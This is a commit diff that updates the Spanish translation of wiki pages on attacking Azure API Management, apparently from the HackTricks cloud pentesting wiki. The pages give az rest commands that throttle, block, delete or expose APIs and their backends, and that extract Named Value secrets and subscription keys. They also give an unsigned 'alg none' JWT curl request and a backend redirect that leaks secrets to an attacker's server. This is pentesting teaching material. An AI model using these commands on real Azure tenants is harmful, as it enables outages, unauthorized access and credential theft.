mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 14:13:20 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-api-
This commit is contained in:
@@ -2,8 +2,8 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
|
||||
El atacante puede usar múltiples vectores para provocar un denial of service. Para bloquear el tráfico legítimo, el atacante añade políticas de rate-limiting y de cuota con valores extremadamente bajos, impidiendo efectivamente el acceso normal:
|
||||
## `Microsoft.ApiManagement/service/apis/policies/write` o `Microsoft.ApiManagement/service/policies/write`
|
||||
El atacante puede usar múltiples vectores para causar una denial of service. Para bloquear tráfico legítimo, el atacante agrega rate-limiting y quota policies con valores extremadamente bajos, impidiendo efectivamente el acceso normal:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
@@ -15,7 +15,7 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Para bloquear direcciones IP legítimas de clientes específicas, el atacante puede añadir políticas de filtrado de IP que rechacen solicitudes procedentes de direcciones seleccionadas:
|
||||
Para bloquear direcciones IP legítimas de clientes concretas, el atacante puede añadir políticas de filtrado de IP que rechacen solicitudes desde las direcciones seleccionadas:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
@@ -27,8 +27,8 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
|
||||
Para provocar que las solicitudes fallen, el atacante puede modificar la configuración del backend y cambiar su URL a una dirección inválida o inaccesible:
|
||||
## `Microsoft.ApiManagement/service/backends/write` o `Microsoft.ApiManagement/service/backends/delete`
|
||||
Para provocar que las requests fallen, el atacante puede modificar la configuración de un backend y cambiar su URL a una dirección inválida o inalcanzable:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
@@ -47,14 +47,14 @@ az rest --method DELETE \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/apis/delete`
|
||||
Para dejar APIs críticas inaccesibles, el atacante puede eliminarlas directamente desde el servicio API Management:
|
||||
Para dejar APIs críticas indisponibles, el atacante puede eliminarlas directamente desde el servicio API Management:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
Para bloquear el acceso desde Internet, el atacante puede deshabilitar el acceso público a la red en el servicio API Management:
|
||||
Para bloquear el acceso desde Internet, el atacante puede deshabilitar el acceso público al servicio de API Management:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
|
||||
@@ -66,7 +66,7 @@ az rest --method PATCH \
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/delete`
|
||||
Para bloquear el acceso de usuarios legítimos, el atacante puede eliminar subscriptions de API Management:
|
||||
Para bloquear el acceso de usuarios legítimos, el atacante puede eliminar las suscripciones de API Management:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
|
||||
|
||||
@@ -4,12 +4,12 @@
|
||||
|
||||
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
|
||||
|
||||
El ataque consiste en acceder a secretos sensibles almacenados en Azure API Management Named Values, ya sea recuperando directamente los valores secretos o abusando de permisos para obtener secretos respaldados por Key Vault mediante managed identities.
|
||||
El ataque consiste en acceder a secretos sensibles almacenados en Azure API Management Named Values, ya sea recuperando directamente los valores secretos o abusando de permisos para obtener secretos respaldados por Key Vault a través de managed identities.
|
||||
```bash
|
||||
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
|
||||
Para cada suscripción, el atacante puede obtener las claves de la suscripción usando el endpoint listSecrets con el método POST:
|
||||
Para cada suscripción, el atacante puede obtener las claves de suscripción usando el endpoint listSecrets con el método POST:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
|
||||
@@ -21,14 +21,14 @@ https://<service-name>.azure-api.net/<api-path>
|
||||
```
|
||||
El atacante puede acceder a todas las APIs y productos asociados con la suscripción. Si la suscripción tiene acceso a productos o APIs sensibles, el atacante puede obtener información confidencial o realizar operaciones no autorizadas.
|
||||
|
||||
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
|
||||
## `Microsoft.ApiManagement/service/policies/write` o `Microsoft.ApiManagement/service/apis/policies/write`
|
||||
|
||||
El atacante primero recupera la política actual de la API:
|
||||
El atacante primero obtiene la política actual de la API:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
```
|
||||
El atacante puede modificar la política de múltiples maneras según sus objetivos. Por ejemplo, para desactivar la autenticación, si la política incluye validación de tokens JWT, el atacante puede eliminar o comentar esa sección:
|
||||
El atacante puede modificar la política de múltiples maneras según sus objetivos. Por ejemplo, para deshabilitar la autenticación, si la política incluye JWT token validation, el atacante puede eliminar o comentar esa sección:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
@@ -84,9 +84,9 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Misconfiguración de validación de JWT
|
||||
## Misconfiguración en la validación de JWT
|
||||
|
||||
El atacante necesita saber que una API usa validación de tokens JWT y que la policy está mal configurada. Las policies de validación de JWT mal configuradas pueden tener `require-signed-tokens="false"` o `require-expiration-time="false"`, lo que permite que el servicio acepte tokens sin firmar o tokens que nunca expiran.
|
||||
El atacante necesita saber que una API usa la validación de tokens JWT y que la policy está mal configurada. Las políticas de validación de JWT mal configuradas pueden tener `require-signed-tokens="false"` o `require-expiration-time="false"`, lo que permite al servicio aceptar tokens sin firmar o tokens que nunca expiran.
|
||||
|
||||
El atacante crea un token JWT malicioso usando el algoritmo none (sin firmar):
|
||||
```
|
||||
@@ -100,7 +100,7 @@ curl -X GET \
|
||||
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
|
||||
https://<apim>.azure-api.net/path
|
||||
```
|
||||
Si la política está mal configurada con `require-signed-tokens="false"`, el servicio aceptará el token no firmado. El atacante también puede crear un token sin un expiration claim si `require-expiration-time="false"`.
|
||||
Si la política está mal configurada con `require-signed-tokens="false"`, el servicio aceptará el token sin firmar. El atacante también puede crear un token sin una claim de expiración si `require-expiration-time="false"`.
|
||||
|
||||
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
El atacante primero verifica la configuración de red actual del servicio:
|
||||
@@ -110,7 +110,7 @@ az rest --method GET \
|
||||
```
|
||||
El atacante revisa la respuesta JSON para verificar los valores de `publicNetworkAccess` y `virtualNetworkType`. Si `publicNetworkAccess` está establecido en false o `virtualNetworkType` está establecido en Internal, el servicio está configurado para acceso privado.
|
||||
|
||||
Para exponer el servicio a Internet, el atacante debe cambiar ambos ajustes. Si el servicio se está ejecutando en modo interno (`virtualNetworkType: "Internal"`), el atacante lo cambia a None o External y habilita el acceso de red público. Esto se puede hacer usando la Azure Management API:
|
||||
Para exponer el servicio a Internet, el atacante debe cambiar ambas configuraciones. Si el servicio se está ejecutando en modo interno (`virtualNetworkType: "Internal"`), el atacante lo cambia a None o External y habilita el acceso a la red pública. Esto se puede hacer usando la Azure Management API:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
|
||||
@@ -122,7 +122,7 @@ az rest --method PATCH \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Una vez que `virtualNetworkType` se establece en `None` o `External` y `publicNetworkAccess` está habilitado, el servicio y todas sus APIs se vuelven accesibles desde Internet, incluso si anteriormente estaban protegidos detrás de una red privada o endpoints privados.
|
||||
Una vez que `virtualNetworkType` se establece en `None` o `External` y `publicNetworkAccess` está habilitado, el servicio y todas sus APIs se vuelven accesibles desde Internet, incluso si estaban protegidos previamente detrás de una red privada o endpoints privados.
|
||||
|
||||
## `Microsoft.ApiManagement/service/backends/write`
|
||||
El atacante primero enumera los backends existentes para identificar cuál modificar:
|
||||
@@ -130,12 +130,12 @@ El atacante primero enumera los backends existentes para identificar cuál modif
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
```
|
||||
El atacante obtiene la configuración actual del backend que quiere modificar:
|
||||
El atacante recupera la configuración actual del backend que quiere modificar:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
```
|
||||
El atacante modifica la URL del backend para que apunte a un servidor bajo su control. Primero, obtienen el ETag de la respuesta anterior y luego actualizan el backend:
|
||||
El atacante modifica el backend URL para apuntar a un servidor bajo su control. Primero, obtiene el ETag de la respuesta anterior y luego actualiza el backend:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
@@ -148,7 +148,7 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Alternativamente, el atacante puede configurar cabeceras de backend para exfiltrar Named Values que contengan secretos. Esto se hace a través de la configuración de credenciales de backend:
|
||||
Alternativamente, el atacante puede configurar cabeceras del backend para exfiltrar Named Values que contienen secretos. Esto se hace mediante la configuración de credenciales del backend:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
@@ -165,6 +165,6 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Con esta configuración, Named Values se envían como encabezados en todas las solicitudes al backend controlado por el atacante, lo que permite la exfiltración de secretos sensibles.
|
||||
Con esta configuración, Named Values se envían como headers en todas las solicitudes al backend controlado por el atacante, permitiendo la exfiltración de secretos sensibles.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,45 +2,45 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información básica
|
||||
## Basic Information
|
||||
|
||||
Azure API Management (APIM) es un servicio totalmente gestionado que ofrece una **plataforma unificada para publicar, asegurar, transformar, gestionar y monitorizar APIs**. Permite a las organizaciones **centralizar su estrategia de API** y asegurar una gobernanza, rendimiento y seguridad consistentes en todos sus servicios. Al actuar como una capa de abstracción entre los servicios backend y los consumidores de APIs, APIM simplifica la integración y mejora la mantenibilidad mientras proporciona capacidades operativas y de seguridad esenciales.
|
||||
|
||||
## Conceptos clave
|
||||
## Core Concepts
|
||||
|
||||
**El API Gateway** sirve como el punto de entrada único para todo el tráfico de API, manejando funciones como enrutar solicitudes a los servicios backend, aplicar límites de velocidad, almacenar en caché respuestas y gestionar autenticación y autorización. Este gateway está totalmente alojado y gestionado por Azure, garantizando alta disponibilidad y escalabilidad.
|
||||
**The API Gateway** sirve como el único punto de entrada para todo el tráfico de API, manejando funciones como enrutar solicitudes a los servicios backend, aplicar límites de tasa, cachear respuestas y gestionar autenticación y autorización. Este gateway está completamente alojado y gestionado por Azure, asegurando alta disponibilidad y escalabilidad.
|
||||
|
||||
**El Developer Portal** proporciona un entorno de autoservicio donde los consumidores de APIs pueden descubrir las APIs disponibles, leer la documentación y probar endpoints. Ayuda a agilizar el onboarding ofreciendo herramientas interactivas y acceso a la información de suscripciones.
|
||||
**The Developer Portal** ofrece un entorno de autoservicio donde los consumidores de APIs pueden descubrir las APIs disponibles, leer la documentación y probar endpoints. Ayuda a agilizar la incorporación ofreciendo herramientas interactivas y acceso a la información de suscripciones.
|
||||
|
||||
**El Management Portal (Management Plane)** es utilizado por los administradores para configurar y mantener el servicio APIM. Desde aquí, los usuarios pueden definir APIs y operaciones, configurar control de acceso, aplicar políticas, gestionar usuarios y organizar APIs en products. Este portal centraliza la administración y asegura una gobernanza de API consistente.
|
||||
**The Management Portal (Management Plane)** es utilizado por los administradores para configurar y mantener el servicio APIM. Desde aquí, los usuarios pueden definir APIs y operaciones, configurar control de acceso, aplicar policies, gestionar usuarios y organizar APIs en productos. Este portal centraliza la administración y asegura una gobernanza consistente de las APIs.
|
||||
|
||||
|
||||
## Autenticación y autorización
|
||||
## Authentication and Authorization
|
||||
|
||||
Azure API Management soporta varios **mecanismos de autenticación** para asegurar el acceso a las APIs. Estos incluyen **claves de suscripción**, **tokens OAuth 2.0** y **certificados de cliente**. APIM también se integra de forma nativa con **Microsoft Entra ID**, habilitando **gestión de identidad a nivel empresarial** y **acceso seguro** tanto a las APIs como a los servicios backend.
|
||||
Azure API Management soporta varios **mecanismos de autenticación** para asegurar el acceso a las APIs. Estos incluyen **subscription keys**, **OAuth 2.0 tokens**, y **client certificates**. APIM también se integra de forma nativa con **Microsoft Entra ID**, habilitando **gestión de identidad a nivel empresarial** y **acceso seguro** tanto a las APIs como a los servicios backend.
|
||||
|
||||
## Políticas
|
||||
## Policies
|
||||
|
||||
Las políticas en APIM permiten a los administradores personalizar el **procesamiento de solicitudes y respuestas** en varias granularidades, incluyendo el nivel de **servicio**, **API**, **operación** o **product**. A través de políticas, es posible aplicar **validación de tokens JWT**, **transformar payloads XML o JSON**, **aplicar limitación de tasa**, **restringir llamadas por dirección IP** o **autenticar contra servicios backend usando managed identities**. Las políticas son **altamente flexibles** y forman una de las **fortalezas principales** de la plataforma API Management, permitiendo **control fino sobre el comportamiento en tiempo de ejecución** sin modificar el código backend.
|
||||
Las policies en APIM permiten a los administradores personalizar el **procesamiento de solicitudes y respuestas** en varios niveles de granularidad, incluyendo el nivel de **service**, **API**, **operation** o **product**. A través de policies, es posible imponer **validación de tokens JWT**, **transformar cargas XML o JSON**, **aplicar rate limiting**, **restringir llamadas por dirección IP**, o **autenticar contra servicios backend usando managed identities**. Las policies son **altamente flexibles** y constituyen una de las **principales fortalezas** de la plataforma API Management, permitiendo **control fino sobre el comportamiento en tiempo de ejecución** sin modificar el código backend.
|
||||
|
||||
## Valores con nombre
|
||||
## Named Values
|
||||
|
||||
El servicio proporciona un mecanismo llamado **Valores con nombre**, que permite almacenar **información de configuración** como **secretos**, **API keys**, u otros valores requeridos por las políticas.
|
||||
El servicio proporciona un mecanismo llamado **Named Values**, que permite almacenar **información de configuración** como **secretos**, **API keys**, u otros valores requeridos por las policies.
|
||||
|
||||
Estos valores pueden almacenarse directamente dentro de APIM o referenciarse de forma segura desde **Azure Key Vault**. Los Valores con nombre fomentan una **gestión segura y centralizada** de los datos de configuración y simplifican la creación de políticas al permitir **referencias reutilizables** en lugar de valores hardcodeados.
|
||||
Estos valores pueden almacenarse directamente dentro de APIM o referenciarse de forma segura desde **Azure Key Vault**. Named Values promueven la **gestión centralizada y segura** de datos de configuración y simplifican la redacción de policies permitiendo **referencias reutilizables** en lugar de valores hardcodeados.
|
||||
|
||||
## Integración de red y seguridad
|
||||
## Networking and Security Integration
|
||||
|
||||
Azure API Management se integra sin problemas con entornos de **Virtual Network (VNet)**, permitiendo **conectividad privada y segura** a sistemas backend.
|
||||
Azure API Management se integra sin problemas con **entornos de red virtual**, habilitando **conectividad privada y segura** con sistemas backend.
|
||||
|
||||
Cuando se despliega dentro de una **Virtual Network (VNet)**, APIM puede acceder a **servicios internos** sin exponerlos públicamente. El servicio también permite la configuración de **certificados personalizados** para soportar **autenticación TLS mutua** con servicios backend, mejorando la seguridad en escenarios donde se requiere una **validación de identidad sólida**.
|
||||
Cuando se despliega dentro de una **Virtual Network (VNet)**, APIM puede acceder a **servicios internos** sin exponerlos públicamente. El servicio también permite la configuración de **certificados personalizados** para soportar **autenticación mutua TLS** con servicios backend, mejorando la seguridad en escenarios donde se requiere una **validación de identidad fuerte**.
|
||||
|
||||
Estas **características de red** hacen que APIM sea adecuado tanto para arquitecturas **nativas de la nube** como **híbridas**.
|
||||
Estas **características de red** hacen que APIM sea adecuado tanto para arquitecturas **cloud-native** como **híbridas**.
|
||||
|
||||
|
||||
### Enumerar
|
||||
### Enumerate
|
||||
|
||||
Para enumerar el servicio de API Management:
|
||||
To enumerate the API management service:
|
||||
```bash
|
||||
# Lists all Named Values configured in the Azure API Management instance
|
||||
az apim nv list --resource-group <resource-group> --service-name <service-name>
|
||||
|
||||
Reference in New Issue
Block a user